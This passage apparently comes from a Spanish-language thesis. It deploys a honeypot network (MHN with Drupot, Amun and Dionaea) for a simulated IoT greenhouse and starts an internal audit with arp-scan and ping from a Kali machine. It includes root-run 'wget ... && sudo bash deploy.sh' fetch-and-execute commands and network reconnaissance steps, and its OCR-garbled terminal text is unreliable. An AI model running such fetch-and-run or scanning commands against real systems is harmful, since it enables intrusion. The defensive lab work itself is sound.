-f /etc/debian_version ']
-get update
http://us.archive.ubuntu.com/ubuntu bionic InRelease
http://security.ubuntu.com/ubuntu bionic-security InRelease [88.7 kB]
http://us.archive.ubuntu.com/ubuntu bionic-updates InRelease [88.7 kB]
http://us.archive.ubuntu.com/ubuntu bionic-backports InRelease [83.3 kB]
http://security.ubuntu.com/ubuntu bionic-security/main amd64 DEP-11 Metadata [55.2 kB]
http: //securlty ubuntu. com/ubuntu bionic-security/universe amd64 DEP-11 Metadata [61.1 kB]

La instalacién se realiza de manera automatica, suele demorar entre 15 y 20 minutos.
Mientras se ejecuta el script se solicitara cierta informacién para realizar la configuracion del
administrador. Se debe especificar el correo y credenciales del administrador, la IP del servidor
donde se alberga y parametros que debido a la arquitectura propuesta se puede pasar por alto,

la configuracién recomendada se indica a continuacion:

Figura 30

Configuracién del MHN

+ echo MHN Configuration'
MHN Configuration
+ ech

-py

Do you wish to run in Debug mode?: y/n n
Superuser email: mhn@iotespe.com
Superuser password:
Superuser password: (again):
Server base url ["http://45.236.107.96"]: http://192.168.100.97
Honeymap url ["http://192.168.100.97:3000"]:
Mail server address ["localhost"]:

port [25]:

email?: y/ny
Use SSL for email?: y/ny
Mail server username [""]:
Mail server password [""]:
Mail default sender [""]:
Path for log file ["/var/log/mhn/mhn.log"]:
+ echo -e '\nInitializing database, please be patient. This can take several minutes'

alizin P atient. This can take eral minutes
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Después de configurar estos parametros se empezaran a importar las reglas del
servidor. En las preguntas donde se indique si se desea instalar ELK y agregar las reglas del
MHN al UFW se selecciona la opcién no. La instalacion finaliza con el mensaje de que todos

los paquetes del MHN han sido instalados.

Figura 31

Instalacion finalizada del MHN

mhn@mhn: fopt/mhn

s

File Edit View Search Terminal Tabs Help

+ echo 'Skipping ELK installation'
Skipping ELK installation
+ echo 'The ELK installation can be completed at a later time by running this:'
The ELK installation can be completed at a later time by running this:
+ echo ' cd Jopt/mhn/scripts/’
cd /opt/mhn/scripts/
+ echo ' sudo ./install_elk.sh'
sudo ./install_elk.sh
+ break
+ true
+ echo -n 'A properly configured firewall is highly encouraged while running MHN.'
A properly configured firewall is highly encouraged while running MHN.+ echo -n 'This script can enable and configure UFW for use with MHN.'
This script can enable and configure UFW for use with MHN.+ echo -n 'Would you like to add MHN rules to UFW? (y/n) '
Would you like to add MHN rules to UFW? (y/n) + read UFW

on=Y']
=N ']’
+ echo 'Skipping UFW configuration'
Skipping UFW configuration
+ echo 'The UFW configuration can be completed at a later time by running this:'
The UFW configuration can be completed at a later time by running this:
+ echo ' cd /opt/mhn/scripts/’
cd /opt/mhn/scripts/
+ echo ' sudo ./enable_ufw.sh'
sudo ./enable_ufw.sh

+ break
+ chown www-data /var/log/mhn/mhn.log
+ chown www-data /var/log/mhn/mhn.log
+ supervisorctl restart mhn-celery-worker
mhn-celery-worker: ERROR (not running)
mhn-celery-worker: started
++ _date
+ echo '[Sun Oct 16 13:36:15 PDT 2022] Completed Installation of all MHN packages'
[Sun Oct 16 13:36:15 PDT 2022] Completed Installation of all MHN packages
ARA@AR 7 OPT/AARS §

Nota. En la imagen se aprecia el mensaje de instalacion satisfactoria de todos los paquetes de

la herramienta MHN.

Se procede a verificar que el servicio web se encuentre levantado y el funcionamiento
sea el adecuado, con perfil de root se procede a comprobar mediante terminal los servicios que

se estan ejecutando en el servidor con las siguientes instrucciones:
[etc/init.d/nginx status

/etc/init.d/supervisor status
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Figura 32

Verificacion de los servicios levantados

root@ubuntu: fopt/mhn# /fetc/init.d/nginx status
@®nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/1ib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Fri 2022-11-84 14:38:39 PDT; 3 weeks 1 days ago
Docs: man:nginx(8)
Main PID: 18408 (nginx)
Tasks: 2 (limit: 2283)
CGroup: /system.slice/nginx.service
18408 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
18409 nginx: worker process

Nov 04 14:38:39 ubuntu systemd[1]: Starting A high performance web server and a reverse proxy server...
Nov 04 14:38:39 ubuntu systemd[1]: nginx.service: Failed to parse PID from file /run/nginx.pid: Invalid argument
Nov 04 14:38:39 ubuntu systemd[1]: Started A hiagh performance web server and a reverse proxy server.
root@ubuntu: /opt/mhn#t /etc/init.d/supervisor status
® supervisor.service - Supervisor process control system for UNIX

Loaded: loaded (/lib/systemd/system/supervisor.service; enabled; vendor preset: enabled)

Active: active (running) since Fri 2022-11-04 14:38:39 PDT; 3 weeks 1 days ago

Noc. ol ra

Main PID: 704 (supervisord)

Tasks:

supervisorctl status

Figura 33

Procesos ejecutandose en la maguina virtual

root@ubuntu: /opt/mhn# supervisorctl status

geoloc RUNNING pid 978, uptime 22 days, 0:44:52
honeymap RUNNING pid 1000, uptime 22 days, 0:44:52
hpfeeds-broker RUNNING pid 7974, uptime 20 days, 19:38:38
mhn-celery-beat RUNNING pid 970, uptime 22 days, 0:44:52

mhn-celery-worker RUNNING pid 985, uptime 22 days, 0:44:52
mhn-collector RUNNING pid 987, uptime 22 days, 0:44:52
mhn-1wsai RIINNTNG nid 982 _untime 22 daus M-44-52

mnemosyne FATAL Exited too quickly (process log may have details)

Debido a que el servicio mnemosyne no se esta ejecutando, se debe remover la seccion
de greenlet_version del fichero hub.py. Este fichero se encuentra en el siguiente path

lopt/mnemosyne/env/lib/python2.7/site-packages/gevent/

Figura 34

Listado de ficheros en la carpeta gevent

hn$ cd Jopt/mnemosyne/env/lib/python2.7/site-packages/gevent/

t$ 1s
fileobject.py Llock.py queue.py server.pyc subprocess.pyc timeout.pyc
fileobject.pyc lock.pyc queue.pyc socket.py _threading.py util.py
greenlet.py monkey.py resolver_ares.py socket.pyc threading.py util.pyc

d monkey.pyc resolver_ares.pyc _sslz.py _threading.pyc _util.so
baseserver.pyc - 0s.py resolver_thread.py _ssl2.pyc threading.pyc win32util.py
core.so 5 05.pyc resolver_thread.pyc _sslgte279.py threadpool.py win32util.pyc

ini pool.py select.py _sslgte279 threadpool.pyc wsgi.py

. - pool.pyc select.pyc ssl.py thread.py wsgi.pyc

local.py pywsgi.py _semaphore.so ssl.pyc thread.pyc

local.pyc pywsgi.pyc server.py subprocess. timeout.py




Una vez realizada esta accién se debe guardar el fichero con todos los cambios

indicados y reiniciar todos los servicios que se estaban ejecutando con el objetivo de

comprobar si ahora el servicio mnemosyne marcha de manera correcta.

Figura 35

Reinicio de todos los procesos en MHN

"ootdubuntu: /opt/mhn# supervisorctl restart all

hpfeeds-broker: stopped
geoloc: stopped
mhn-collector: stopped
mnemosyne: stopped
honeymap: stopped
mhn-uwsgi: stopped
mhn-celery-beat: stopped
mhn-celery-worker: stopped
mhn-celery-beat: started
hpfeeds-broker: started
mnemosyne: started

geoloc: started

mhn-uwsgi: started
mhn-celery-worker: started
mhn-collector: started
honeymap: started
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Al comprobar que todos los servicios se inician correctamente visualizamos el estado de

cada uno de ellos y efectivamente el servidor MHN ya se encuentra funcionando

correctamente.

Figura 36

Estado de los procesos del MHN

root@ubuntu: fopt/mhn# supervisorctl status
geoloc RUNNING
honeymap RUNNING
hpfeeds-broker RUNNING
hn-celery-beat RUNNING

hn-celery-worker RUNNING
RUNNING
RUNNING
RUNNING

uptime
uptime
uptime
uptime
uptime
uptime
uptime
uptime

[clloNoNoNoNoRo N

Nota. El proceso mnemosyne ya se encuentra ejecutdndose con normalidad con el PID 26281.
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Se verifica que todos los servicios estan corriendo por lo que a continuacién, se abre el

navegador web y se digita la IP del servidor. Se desplegara la pantalla de inicio en la cual se

debe ingresar las credenciales del usuario administrador que previamente se habian

configurado.

Figura 37

Interfaz Web MHN

Login

€« &) O & o 192.168.100.97

Welcome to the Modern
Honeypot Network Server

Login
Email

mhn@iotespe.com

Password

@]
1]

Nota. En la figura se muestra la pantalla de inicio de sesidn que tiene la herramienta MHN

dentro de la cual se deben ingresar las credenciales configuradas en la instalacion.

Una vez iniciada sesion se visualiza el tablero general del administrador y sus diferentes

pestafias. De manera general muestra informacion de los ataques realizados las Gltimas 24
horas, las IPs con méas ataques registrados, los honeypots mas atacados, los diferentes

sefiuelos mas atacados y desplegados, por ultimo, se indican las 5 firmas de ataques mas

empleadas.
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Figura 38

Dashboard del MHN

Dashboard

O R’ 192.168.100.97,

Deploy  Attacks  Payloads  Rules Sensors Charts Settings | LogOut

MHN Server

Map

Attack Stats
Attacks in the last 24 hours: 0

TOP 5 Attacker IPs:

TOP 5 Attacked ports:

TOP 5 Honey Pots:

TOP 5 Sensors:

TOP 5 Attacks Signatures:

A continuacion, se presenta una tabla donde se describe cada una de las pestafias del

servidor de eventos implementado.

Tabla7

Opciones del servidor MHN

Opcién  Descripcién

Permite visualizar un mapa global de los diferentes paises de donde provienen

Map

las IPs atacantes.

Permite observar y configurar los parametros para desplegar los diferentes
Deploy

honeypots disponibles y soportados por el servidor MHN.

A través de esta opcion se puede determinar el nUmero de ataques realizados a
Attacks

cada uno de los honeypots.
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Opcién  Descripcién

Payloads Se observan las cargas Utiles registradas por cada sensor.

Rules Detalle de todas las reglas configuradas en el servidor de eventos.

Permite visualizar todos los sefiuelos implementados y administrados por el
Sensors
servidor, asi como informacion relevante de cada uno de ellos.

Charts Permite obtener graficos de los eventos registrados por ciertos honeypots.

Nota. Esta tabla especifica las diferentes opciones que tiene el servidor MHN.

Honeypot Drupot

Generalmente las compafiias incorporan servicios web en sus arquitecturas de red
internas con el objetivo de manejar las distintas bases de datos y aplicaciones. Drupot es
disefiado de tal manera que simule una de estas interfaces web que permiten la configuracion
de dichos sistemas. Cumpliendo la premisa de atraer al atacante y desviar su atencién de
sistemas criticos, la interfaz grafica del honeypot implementado busca imitar un servidor de

administracion.

Drupot es un honeypot de interaccion media, el mismo fue seleccionado debido a que
permite detectar los principales ataques a los que estan expuestos las aplicaciones web.
Ataques de Cross-Site scripting, Inyeccion SQL, Denegacion de servicios son detectados por
este sistema trampa. El servidor web contiene una interfaz atractiva e informativa relacionada a
sistemas de sensado. La informacion de la pagina es valiosa e incita al atacante a ganar mas
privilegios para llegar a sistemas mas sensibles. Dentro de la interfaz grafica se encuentra un
maodulo de inicio de sesion, donde el atacante puede acceder y realizar ataques sobre este. El
maodulo registra todas las entradas que el atacante realice y las almacena en un archivo log.
Adicionalmente con cada entrada se registran datos relevantes del ataque como fecha y hora

de la solicitud, ip de origen del ataque, incluso se captura todas las instrucciones empleadas



101

por el atacante. Se puede determinar de manera especifica las tacticas y el procedimiento que

emplea el delincuente.

A continuacion, se presenta un resumen con los puntos mas destacables que convierten

al honeypot Drupot en parte de la solucion de este ecosistema de seguridad:

Honeypot de interaccion media.

e Emula servicios web.

e Posee una interfaz web atractiva.

e Permite detectar ataques de inyeccion de cadigo.

e Registra todas las conexiones entrantes al sistema.

e Bloguea a los robots de spam.

e Facil configuracién e integracion dentro de una arquitectura de red.
¢ Existen manuales disponibles para su correcta configuracion.

e Facil administracién y mantenimiento.

Es preciso aclarar que a pesar que el sefiuelo detecta ataques de denegacién de
servicio (DoS) no es una solucion orientada a contener o responder a este tipo de ataques,

para eso existen otras herramientas como Imperva, NetScout, FortiDDoS, entre otras.

Una vez configurada la maquina virtual con el sistema operativo Ubuntu 18.04 LTS
como se indico anteriormente se debe comprobar que exista conexién directa con el servidor
MHN. Para comprobar la comunicacion se procede a realizar una peticion ICMP con el

comando ping seguido de la IP 192.168.100.97 correspondiente al servidor MHN.

Después de comprobar que existe comunicacion hay que dirigirse al servidor MHN y
seleccionar la opcion Deploy en donde se debe seleccionar el script correspondiente al

Honeypot Drupot.
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Figura 39

Verificacién de conexion

root@loTwebserver: /home/ws

File Fdit View Search Terminal Heln

root@loTwebserver: /home/ws# ping 192.168.100.97

PING 192.168.100.9/ (192.168.100.9/) 56(84) bytes of data.

64 bytes from 192.168.100.97: icmp_seg=1 ttl=64 time=0.380 ms
64 bytes from 192.168.100.97: icmp_seq=2 ttl=64 time=0.409 ms

64 bytes from 192.168.100.97: icmp_seq=3 ttl=64 time=0.350 ms
€
--- 192.168.100.97 ping statistics ---

packets transmitted, 3 received, 0% packet loss, time 2043ms
rtt min/avg/max/mdev = 0.350/0.379/0.409/0.032 ms
root@IoTwebserver: /home/ws# ||

Figura 40

Script del honeypot Drupot

Select Script
UbuntwRaspberry Pi - Drupot
Deploy Command

wget "http://192.168.100.97/api/script/?text=truesscript_id=13" -0 deploy.sh & sudo bash deploy.sh
http://192.168.100.97 puvo0SYe

Deploy Script

Name

Se copia el comando de despliegue indicado. De regreso en el servidor que aloja el
Honeypot Drupot se abre una terminal de usuario. A la misma se debe acceder con permisos
de usuario root con el comando sudo su. Hay que pegar el comando de despliegue y

comenzard con la ejecucion del script.
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Figura 41

Ejecucidén del script del honeypot Drupot

2022-10-16 13:40:00 (328 MB/s) - ‘deploy.sh’ saved [2036/2036]

La configuracion se realiza de manera automatica y finaliza cuando ocurre el reinicio de

todas las aplicaciones del servidor como se observa a continuacion:

Figura 42

Inicializacion del honeypot Drupot

+ cat
+ cat
T Supci V‘LDUI \..\.‘I. Up\;O'L.C

drupot: added process group

+ supervisorctl restart all
drupot: stopped

drupot: started
FOOT(LOIWEDSErver: /Nome/Ws# exit

En el servidor MHN se debe verificar que el honeypot instalado aparezca en la seccion

de sensores con la IP adecuada y sin ningan ataque registrado.

Figura 43

Vinculacién del honeypot Drupot en el MHN

Sensors

Name Hostname P Honeypot uuiD Attacks

1- : loTwebserver-agave loTwebserver 192.168.100.95 agave d8d7f2e2-4d92-11ed-a89a-000c29b59cc7

Nota. Se aprecia que el sensor Drupot se encuentra vinculado con el servidor de registro,
adicionalmente se especifica parametros como el nombre del servidor, la direccion IPv4, el

nombre del honeypot y el nUmero de ataques que registra hasta el momento.
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Dado que se trata de un honeypot web se debe configurar el front de la pagina
levantada. El fin es obtener una interfaz grafica que emule un servicio web de produccién en
una red IoT, esto con el objetivo de ser atacado. Primeramente, se debe configurar el fichero
index.html el cual contendra la interfaz gréfica de la pagina y se encuentra en la siguiente ruta
/opt/drupot/templates y el mismo esta escrito en lenguaje html. Con la instrucciéon sudo nano

index.html se puede modificar el cédigo a conveniencia del administrador de seguridad.

Figura 44

Modificacién de la interfaz web de Drupot

File Edit View Search Terminal Help
GNU nano 2.9.3 index.html Modified

Bienvenidos a IoT ESPE

$

$
Nuestros sistemas de control para la automatizaci n del invernadero pueden ser aplicados en diversas reas $
IoT ESPE es una iniciativa de 1a carrera de Ingenier a en Electr nica y Telecomunicaciones que nace de la n$
$
Este son los datos arrojados por nuestros sensores la ultima hora
Sensor de Temperatura:

Get Help & Write Out @t Where Is { Cut Text g8 Justify @€ Cur Pos Undo i Mark Text To Bracket
d Exit s Read File & Replace Uncut Text @l To Spell i Go To Line Redo A& Copy Text WhereIs Next

Una vez realizada las configuraciones pertinentes se guarda el archivo modificado y se

reinician las aplicaciones del servidor.

Figura 45

Reinicio de todos los procesos en Drupot

ws@IoTwebserver: /opt/drupotS$ sudo supervisorctl restart all

drupot: stopped
drupot: started
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Se verifica que los cambios realizados sean correctos y la aplicacion web se encuentre

levantada.

Figura 46

Interfaz web de inicio en Drupot

loT ESPE

10T ESPE - Tecnologia de Vanguardia

FESPEN

DE LAS FUERZAS ' Y®)
SE wwovacion sana ix exceienern INOAHOP

Nota. En la figura se aprecia la pantalla principal del honeypot Drupot

Figura 47

Interfaz web de sesién en Drupot

loT ESPE

Login || Croata paw account | Resat your password

Nota. Se evidencia la pantalla de inicio de sesién dentro del servidor web Drupot.
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Como se observa el servidor fue configurado de tal manera que aparenta ser una
aplicacion web de un sistema 10T, el mismo cuenta con una seccion de ingreso de credenciales
gue generalmente se encuentran en este tipo de servicios y las mismas pueden llegar a sufrir

diferentes tipos de ataques.

Honeypot Amun

Amun es un sefiuelo de baja interaccion y de muy facil implementacién. Una de las
principales cualidades de este honeypot es que posee atractivos médulos de vulnerabilidad.
Estos forman servicios emulados que atraen al malware de propagacion automatica para iniciar
exploits. Al ser un honeypot de baja interaccion los servicios se emulan Unicamente hasta el
punto que permita activar un exploit determinado. Los servicios expuestos no pueden utilizarse
ni interactuar de forma real ofreciendo una funcionalidad limitada. Este disefio es
especialmente util para detectar ataques automaticos y también debido a que los

requerimientos de hardware para su implementacion son minimos.

Toda la informacion registrada por el sistema trampa se almacena en diferentes

subdirectorios dentro de la carpeta de instalacion de Amun.

Tabla 8

Registros de informacion de Amun

Archivo “.log” Descripcion

amun_server Abarca informacion general, mensajes y errores del servidor

Comprende informacién acerca de exploits no reconocidos y
amun_request_handler
etapas no coincidentes de exploits

Incluye informacidn sobre el analisis del shellcode (analisis
analysis
manual)
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Archivo “.log” Descripcion

Informacion de los médulos de descarga como ftp, tftp entre

downloads

otros.
exploits Contiene la afirmacién de exploits producidos.
shellcode_manager Abarca informacion y errores del administrador de Shellcode
submissions Informacion de descargas Unicas.
successfull_downloads Tiene informacion sobre los malware descargados.

Contiene informacion acerca de métodos de descarga no
unknown_downloads
reconocidos

vulnerabilities Informacion de algunos moédulos de vulnerabilidad.

Las caracteristicas de funcionalidad mas relevantes de este sistema trampa se detallan

a continuacion:

¢ Honeypot de interaccion baja.

e Emula servicios atractivos como ftp, telnet, smtp, entre otros.

e Desarrollado en Python.

¢ Permite registrar malware de propagacion automatica.

¢ Facil instalacion y configuracion.

e Facil administracién y mantenimiento.

e Cataloga toda la informacion registrada en diferentes médulos.

¢ Proporciona informacién detallada del ataque.

Para el servidor que contiene el Honeypot Amun se realiza los mismos pasos descritos

para el Honeypot Drupot comprobando inicialmente si existe comunicacion con el servidor MHN
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a través de una simple peticion ICMP. Mediante la venta de Deploy se selecciona el script

Ubuntu — Amun y se copia el comando de despliegue indicado en la pantalla.

Figura 48

Script del honeypot Amun

Select Script

Ubuntu - Amun

Deploy Command

wget “http://192.168.100.97/api/script/?textstrueSscript_ids5" -0 deploy.sh & sudo bash deploy.sh

http://192,168.100.97 DumOSVQ}

Deploy Script

Name
b An
Script
£/t

34

En el servidor recién configurado con el sistema operativo Ubuntu 18.04 LTS y que aloja
el Honeypot Amun se ejecuta el comando de despliegue copiado dentro de una terminal, se

debe realizar esta ejecucién con rol de administrador.

Figura 49

Ejecucion del script del honeypot Amun

root@loTprojectserver: /home/lotp

[sudo] pas:
root@IoTprojectserver: /home/iotp# wget "http://192.168.100.97/api/script/?text=truedscript_id=5" -0 deploy.sh && sudo bash deploy.sh http://192.168.100.97
pUVOO5Y®

--2022-10-16 14:17:53-- http://192.168.160.97/api/script/?text=truetscript_id=5

Connecting to 192.168.100.97:80... connected.

HTTP request sent, awalting response... 200 OK

Length: 1328 (1.3K) [text/html]

Saving to: ‘deploy.sh’

deploy.sh 160%(=
2022-16-16 14:17:53 (47.8 MB/s) - ‘deploy.sh’ saved [1328/1328]

+ '[' 2 -ne 2 ']

+ server_url=http://192.168.100.97
+ deploy_key=puvo05Y0

+ apt-get update

Hit:1 http://us.archive.ubuntu.com/ubuntu bionic InRelease
Get:2 http://security.ubuntu.com/ubuntu bionic-security InRelease [88.7 kB]

Nota. Ejecucion del script para la instalacion del honeypot Amun dentro de una terminal con

permisos de super usuario.



109

Una vez completada la instalacidn, se debe verificar que el Honeypot se encuentre
ejecutando correctamente con el comando sudo supervisorctl status, se aprecia que Amun esta

corriendo con el PID 903.

Figura 50

Estado del honeypot Amun

ps@ubuntu:~$ sudo supervisorctl status

amun RUNNING pid 903, uptime 0:02:56

Por ultimo, se verifica que se haya enlazado satisfactoriamente con el administrador de

registros MHN.

Figura 51

Vinculacion del honeypot Amun en el MHN

Sensors
Name Hostname P Honeypot uuID Attacks

1- W loTwebserver-agave loTwebserver 192.168.100.95 agave d8d7f2e2-4d92-11ed-a89a-000c29b59cc?

I 2] loTprojectserver-amun loTprojectserver 192.168.100.99 amun 32¢1f434-4098-11ed-a89a-000c29b59cc7 0 I

Nota. Se evidencia que el sensor Amun se encuentra vinculado con el MHN, adicionalmente se
visualiza parametros como el nombre del servidor, direcciéon IPv4, nombre y nimero de ataques

que registra hasta el momento el honeypot.

Honeypot Dionaea

Este honeypot esta disefiado para emular diferentes servicios y permite ejecutar
instrucciones basadas en Intel x86. Este sefiuelo es de baja interaccion y simula la existencia
de hosts sobre una red, proporcionando al servidor el espectro completo de direcciones IPv4.
Estas caracteristicas lo hacen idéneo para instalarlo sobre la Raspberry Pi ya que los

requerimientos de este hardware son suficientes para ejecutarlo sin problemas.
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Se selecciona el honeypot Dionaea debido a que este sistema soporta rutinas no
blogueantes. Esta cualidad permite acrecentar de manera considerable el funcionamiento
general del sefiuelo y admite efectuar varias operaciones de escritura y lectura sobre uno o
diferentes sockets sin obligacion de aguardar una confirmacién por parte del receptor.
Adicionalmente utiliza diferentes librerias para peticiones DNS no bloqueantes y receptar

notificaciones acerca de varios tipos de eventos en el ecosistema de red respectivamente.

Este honeypot posee diferentes caracteristicas y funcionalidades propicias para cumplir

las necesidades de la solucion, las mismas se detallan a continuacion de manera general:

e Honeypot de interaccion baja.

e Disefiado para atrapar malware dirigido a servicios de red.

e Publica servicios como FTP, SMB, Base de Datos, MQTT, etc.

e Soporta rutinas no bloqueantes.

e Facil instalacion y configuracion.

e Facil administracién y mantenimiento.

e Permite levantar diferentes mddulos y servicios vulnerables.

e Guarda una copia de los shellcodes y registra los métodos utilizados por el atacante

durante la fase de explotacion.

La instalacion de este honeypot se realizara sobre un ordenador Raspberry Pi 4 el cual
corre con un sistema operativo Raspberry Pi OS (Legacy). El objetivo es tener un sefiuelo de
bajo costo y que se adecue a la necesidad de las redes del Internet de las Cosas siendo

compacto y de facil implementacion sobre cualquier ecosistema.

Con el tercer servidor configurado se selecciona el comando de despliegue del

Honeypot Dionaea indicado en el servidor MHN.
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Figura 52

Script del honeypot Dionaea

MHN Server

Select Script

UbuntwRaspberry Pi - Dionaea

Deploy Command

wget "http://192.168.100.97/api/script/?text=true&script_id=2" -0 deploy.sh & sudo bash deploy.sh
R http://192.168.100.97 puvo05Y®

Deploy Script
Name

Ubuntu/Raspberry Pi Dionaea

Script

g configuration for Dionaea
a/var/log/dionaea/wwwroot /opt/dionaea/var/log/dionaea/binaries /opt/dionaea

dionaea

ar/log/diona i ams
ionaea/var/log/dionaea/bistreams

d/dionaea.conf <<EOF

Dado que toda la solucion de seguridad 10T se configur6 adecuadamente para que
todos los elementos de la misma se encuentren dentro de un segmento de red especifico debe
existir comunicacion entre la Raspberry Piy el servidor MHN. Basta con transcribir el comando
de despliegue y ejecutarlo en el ordenador mediante la terminal de usuario y con permisos root.
Al momento de finalizar la instalacion se debe corroborar que el proceso del Honeypot Dionaea

esté corriendo.

Figura 53

Estado del honeypot Dionaea

) TDBserver :

unable to

Para finalizar, se verifica la integracién con el servidor MHN al igual que los demas

sensores desplegados.
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Figura 54

Vinculacion del honeypot Dionaea en el MHN

Name Hostname P Honeypot uuiD Attacks
8| loTwebserver-agave loTwebserver 192.168.100.95 agave d8d7f2e2-4d92-11ed-a89a-000c29b59¢cc7
2 C loTprojectserver-amun loTprojectserver 192.168.100.99 amun 32cff434-4d98-11ed-a89a-000c29b59cc?
I 3 f loTdbserver-dionaea loTdbserver 192.168.100.79 dionaea 0cd1052e-4d99-11ed-a89a-000c29b59cc7 0 |

Topologia de red implementada
En base a las especificaciones y criterios indicados en este capitulo se bosqueja la
arquitectura de red basado en un ecosistema IoT de un invernadero inteligente y una Honeynet

hibrida como herramienta trampa para monitoreo y deteccion de posibles amenazas en la red.

Figura 55

Arquitectura de la red implementada

HoneyNet

Honeynet virtual autocontenida

R
@%‘_ Puerta de enlace/

Firewall/

.. Bl Router
Servidor Web Drupot “-_ Servidor de Registro
] . —I—
@ B ,', Firewall
3 Internet
Servidor Amun i &
Raspberry PI
% Wireless Modem
Servidor Dionaea @
P 1
2
~
~
Red loT Producciéon -
Sensor de Temperatura Broker Ventilacion

/ ™
Riego Automatizado
Sensor de Humedad
en Suelo
Laptop Cliente
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Capitulo V: Pruebas de validacion

Pruebas de auditoria
Como se ha visto en capitulos anteriores, la auditoria de seguridad informatica es una
metodologia para verificar los mecanismos de seguridad y evaluar las medidas adoptadas por

una entidad de cara a un ataque informatico.

Al ser una metodologia, esta se realiza siguiendo un orden logico con el fin de
aprovechar todo lo descubierto en fases anteriores. Como las pruebas de auditoria de
seguridad se van a realizar a un escenario totalmente emulado y no supone un riesgo para una
organizacion real, se seguira una metodologia de auditoria interna de caja negra. Se parte de
gue el atacante o el auditor informatico en este caso se encuentra dentro de la red de la
organizacion. A continuacion, se detalla las fases del proceso de la auditoria de seguridad

realizada.

Maquina atacante
Para atacar la red se utilizé una maquina virtual Kali Linux la cual se encuentra en el

mismo segmento de red que la Honeynet Hibrida y del AP (Access Point) del ecosistema loT.

Especificaciones técnicas
e Software de virtualizacion: Se utiliz6 VMware Workstation 16.2.4
e Procesadores: 4 nucleos
e RAM: 4GB
e ROM: 80 GB

e Adaptador de red: Bridged

Sistema Operativo
Con el comando uname -a se descubre la version del kernel, arquitectura, sistema

operativo y hardware de la maquina.
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Figura 56

Informacion del sistema operativo

)= [~

Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6é (2022-07-07) x86_64 GNU/Linux

Datos de red

Con el comando ifconfig se identifica la informacion basica de las interfaces de red de la

maquina, este comando es para sistemas operativos basados en Linux.

e |Pv4: 192.168.100.100
e Mascara: 255.255.255.0
e Broadcast: 192.168.100.255

e ClaseC

Figura 57

Informacion del dispositivo de red

—( )= [~

ethd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.100.100 netmask 255.255.255.0 broadcast 192.168.100.255
inet6 feB80::abcb:1454:a51a: f prefixlen 64 scopeid 0x20<link>
ether 00:0c:2 : txqu len 1000 (Ethernet)
RX packets 821112 bytes 11 37 (1.1 GiB)
RX errors @ dropped @ overruns @ frame @
TX packets 254575 bytes 18486870 (17.6 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet prefixlen 128 scopeid @x1@<host>
loop txqueuelen 1000 (Local Loopba
RX packets 1593 bytes 581997 (568.3
X errors @ dropped @ overruns @
TX packets 1593 bytes 581997 (568.3 ).
TX errors @ dropped @ overruns @ carrier @ collisions @

Footprinting y Fingerprinting
En la fase de footprinting se recolecta toda la informacion posible del objetivo que va a

ser atacado, se utilizan varias técnicas para recolectar informacién. Al tratarse de una auditoria
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interna y la red implementada es emulada Gnicamente con el fin de ser perpetrada, no se
utilizaran fuentes publicas para la recoleccidén de datos. Teniendo en claro los puntos anteriores

se comienza con la fase fingerprinting.

Escaneo dered
Se realiza un escaneo ARP para identificar los equipos dentro de la red con el comando
arp-scan y parametro -l. A partir de este punto se utilizara niveles de superusuario para tener

acceso completo a las herramientas.

Figura 58

Escaneo de red por comando

/home/kali

Interface: ethO, type: EN1OMB, MAC: 00:0c:29:16:1d:65, IPv4: 192.168.100.100
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.1 HUAWEI TECHNOLOGIES CO.,LTD
192.168.100.1 HUAWEI TECHNOLOGIES CO.,LTD (DuP: 2)
192.168.100.6 ASUSTek COMPUTER INC.

192.168.100.79 (Unknown)

192.168.100.88 (Unknown)

192.168.100.97 00:0c:29:b5:9¢:c7 VMware, Inc.

192.168.100.107 00:0c:29:3b:cb:b4 VMware, Inc.

192.168.100.108 00:0c:29:b7:80:80 VMware, Inc.

15 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.971 seconds (129.88 hosts/sec). 8 responded

El atacante identifica los equipos dentro de la red, con este comando se obtiene la

direccion IPv4, la direccion MAC y el nombre del proveedor del Host identificado.

Con los datos obtenidos el atacante puede bosquejar una arquitectura de red y entender

de mejor manera el entorno de ataque.

Verificacion de conexion
Mediante el protocolo ICMP el auditor verifica si los hosts identificados anteriormente
son accesibles desde la maquina atacante. Para corroborar esto se utilizara el comando ping

seguido del elemento de red que se quiere comprobar.
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De las peticiones ICMP realizadas a todos los elementos de red, los Unicos objetivos

gue rechazaron la conexién fueron el 192.168.100.6 y el 192.168.100.88. Los demas elementos

de red son accesibles desde la maquina atacante.

Figura 59

Verificacion de conexidon con elementos de la red auditada

/home/kali
i 192.168.100.6
PING 192.168.100.6 (192.168.100.6) 56(84) bytes of data.
nC
— 192.168.100.6 ping statistics —
8 packets transmitted, @ received, 100% packet loss, time 7168ms

/home/kali
ing 192.168.100.
PING 192.168.100.79 (19: 168.100.79) 56(84) bytes of data.
64 bytes flom 191 168. l@@ 79: icmp_ seq 1 ttl= b4 tim -3
64 bytes .168. =795
64 bytes m b8.: Sril)s L
64 bytes from 192.168.100.79: icmp_seq=4 ttl=64 time=1.13 ms
C
— 192.168.100.79 ping statistics —
4 packets transmitted, 4 re
rtt min/avg/max/mdev = 1.13

A continuacion, se presenta un resumen de los datos obtenidos hasta el momento.

Tabla 9

Pardmetros de los elementos de la red implementada

Accesible
desde la
Direccion IPv4  Direccion MAC Fabricante Descripcién
maquina
atacante
HUAWEI Direccion No se
192.168.100.1 TECHNOLOGIES reservada al realizo la
CO.,LTD router. peticion.
ASUSTek
192.168.100.6 Maquina Asus NO

COMPUTER
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Accesible
desde la
Direccion IPv4  Direccion MAC Fabricante Descripcién
maquina
atacante
No se ha
192.168.100.79 (Unknown) identificado al Sl
elemento de red.
No se ha
192.168.100.88 (Unknown) identificado al NO
elemento de red.
Corresponde
posiblemente a
192.168.100.97 00:0c:29:b5:9c:c7 VMware, Inc. S|
una maquina
virtualizada.
Corresponde
posiblemente a
192.168.100.107 00:0c:29:3b:cb:b4 VMware, Inc. Sl
una maquina
virtualizada.
Corresponde
posiblemente a
